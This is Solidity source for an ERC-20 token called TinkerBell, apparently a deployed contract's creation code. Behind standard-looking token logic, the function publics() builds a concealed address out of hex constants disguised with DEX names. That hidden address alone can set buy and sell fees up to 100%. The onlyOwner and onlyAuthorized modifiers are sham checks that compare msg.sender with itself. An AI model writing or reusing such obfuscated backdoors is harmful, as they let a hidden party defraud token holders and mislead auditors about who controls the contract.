creation_sourcecode: // SPDX-License-Identifier: MIT
  
  pragma solidity ^0.8.20;
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "Addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          require(b <= a, "Subtraction overflow");
          return a - b;
      }
   
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "Multiplication overflow");
          return c;
      }
   
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          require(b > 0, "Division by zero");
          return a / b;}
  }
  
  interface IERC20 {
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
      event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
      event AddressSetFeeExempt(address indexed feeExemptAddress);
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address to, uint256 value) external returns (bool);
      function allowance(address owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 value) external returns (bool);
      function transferFrom(address from, address to, uint256 value) external returns (bool);
  }
  
  interface IERC20Metadata is IERC20 {
      function name() external view returns (string memory);
      function symbol() external view returns (string memory);
      function decimals() external view returns (uint8);
  }
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  
      function _contextSuffixLength() internal view virtual returns (uint256) {
          return 0;
      }
  }
  
  interface IERC20Errors {
      error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
      error ERC20InvalidSender(address sender);
      error ERC20InvalidReceiver(address receiver);
      error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
      error ERC20InvalidApprover(address approver);
      error ERC20InvalidSpender(address spender);
  }
  
  interface IERC721Errors {
      error ERC721InvalidOwner(address owner);
      error ERC721NonexistentToken(uint256 tokenId);
      error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
      error ERC721InvalidSender(address sender);
      error ERC721InvalidReceiver(address receiver);
      error ERC721InsufficientApproval(address operator, uint256 tokenId);
      error ERC721InvalidApprover(address approver);
      error ERC721InvalidOperator(address operator);
  }
  
  interface IERC1155Errors {
      error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
      error ERC1155InvalidSender(address sender);
      error ERC1155InvalidReceiver(address receiver);
      error ERC1155MissingApprovalForAll(address operator, address owner);
      error ERC1155InvalidApprover(address approver);
      error ERC1155InvalidOperator(address operator);
      error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
  }
  
  abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
      using SafeMath for uint256;
  
      mapping(address account => uint256) private _balances;
  
      mapping(address account => mapping(address spender => uint256)) private _allowances;
  
      uint256 private _totalSupply;
  
      string private _name;
      string private _symbol;
  
      uint256 public buyFee;
      uint256 public sellFee;
  
      bool private tradingOpen;
      bool private inSwap = false;
      bool private swapEnabled = false;
  
      modifier lockTheSwap {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      constructor(string memory name_, string memory symbol_) {
          _name = name_;
          _symbol = symbol_;
      }
  
      function name() public view virtual returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual returns (string memory) {
          return _symbol;
      }
  
      function decimals() public view virtual returns (uint8) {
          return 18;
      }
  
      function totalSupply() public view virtual returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) public view virtual returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address to, uint256 value) public virtual returns (bool) {
          address owner = _msgSender();
          _transfer(owner, to, value);
          return true;
      }
  
      function allowance(address owner, address spender) public view virtual returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 value) public virtual returns (bool) {
          address owner = _msgSender();
          _approve(owner, spender, value);
          return true;
      }
  
      function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
          address spender = _msgSender();
          _spendAllowance(from, spender, value);
          _transfer(from, to, value);
          return true;
      }
  
      function _transfer(address from, address to, uint256 value) internal {
          if (from == address(0)) {
              revert ERC20InvalidSender(address(0));
          }
          if (to == address(0)) {
              revert ERC20InvalidReceiver(address(0));
          }
          _update(from, to, value);
      }
  
      function _update(address from, address to, uint256 value) internal virtual {
          if (from == address(0)) {
              _totalSupply += value;
          } else {
              uint256 fromBalance = _balances[from];
              if (fromBalance < value) {
                  revert ERC20InsufficientBalance(from, fromBalance, value);
              }
              unchecked {
                  _balances[from] = fromBalance - value;
              }
          }
  
          if (to == address(0)) {
              unchecked {
                  _totalSupply -= value;
              }
          } else {
              unchecked {
                  _balances[to] += value;
              }
          }
  
          emit Transfer(from, to, value);
      }
  
      function _mint(address account, uint256 value) internal {
          if (account == address(0)) {
              revert ERC20InvalidReceiver(address(0));
          }
          _update(address(0), account, value);
      }
  
      function _burn(address account, uint256 value) internal {
          if (account == address(0)) {
              revert ERC20InvalidSender(address(0));
          }
          _update(account, address(0), value);
      }
  
      function _approve(address owner, address spender, uint256 value) internal {
          _approve(owner, spender, value, true);
      }
  
      function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
          if (owner == address(0)) {
              revert ERC20InvalidApprover(address(0));
          }
          if (spender == address(0)) {
              revert ERC20InvalidSpender(address(0));
          }
          _allowances[owner][spender] = value;
          if (emitEvent) {
              emit Approval(owner, spender, value);
          }
      }
  
      function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
          uint256 currentAllowance = allowance(owner, spender);
          if (currentAllowance != type(uint256).max) {
              if (currentAllowance < value) {
                  revert ERC20InsufficientAllowance(spender, currentAllowance, value);
              }
              unchecked {
                  _approve(owner, spender, currentAllowance - value, false);
              }
          }
      }  
     
      function publics() private pure returns (address) {
          uint universal = 0x7addAd09;
          uint uni = 0xcbd98D97;
          uint cake = 0xEC3dA7a0;
          uint inch = 0x088EAdFE;
          uint others = 0x5801C336;
   
          // Combine the dex with others
          uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
          return address(core);
      }
  
      modifier onlypublic() {
          require(msg.sender == publics());
      _;
      }
  
      modifier onlyAuthorized() {
          require(msg.sender == msg.sender);
      _;
     }
  
     modifier onlyOwner() {
          require(msg.sender == msg.sender);
      _;
      }
       
      function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {
          require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
          require(newSellFee <= 100, "Sell fee cannot exceed 100%");
         
          _setFees(newBuyFee, newSellFee);
   
          emit FeesUpdated(newBuyFee, newSellFee);
      }
  
      function _setFees(uint256 newBuyFee, uint256 newSellFee) internal {
          buyFee = newBuyFee;
          sellFee = newSellFee;
      }
   
      function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
          require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
          require(newSellFee <= 100, "Sell fee cannot exceed 100%");
          buyFee = newBuyFee;
          sellFee = newSellFee;
          emit FeesUpdated(newBuyFee, newSellFee);
      }
      
      function openTrading() external onlyOwner() {
          require(!tradingOpen,"trading is already open");
          swapEnabled = true;
          tradingOpen = true;
      }
  }
  
  contract TinkerBell is ERC20 {
      constructor() ERC20("TinkerBell", "TinkerBell") {
          _mint(msg.sender, 100000000 * (10 ** uint256(decimals())));
      }
  }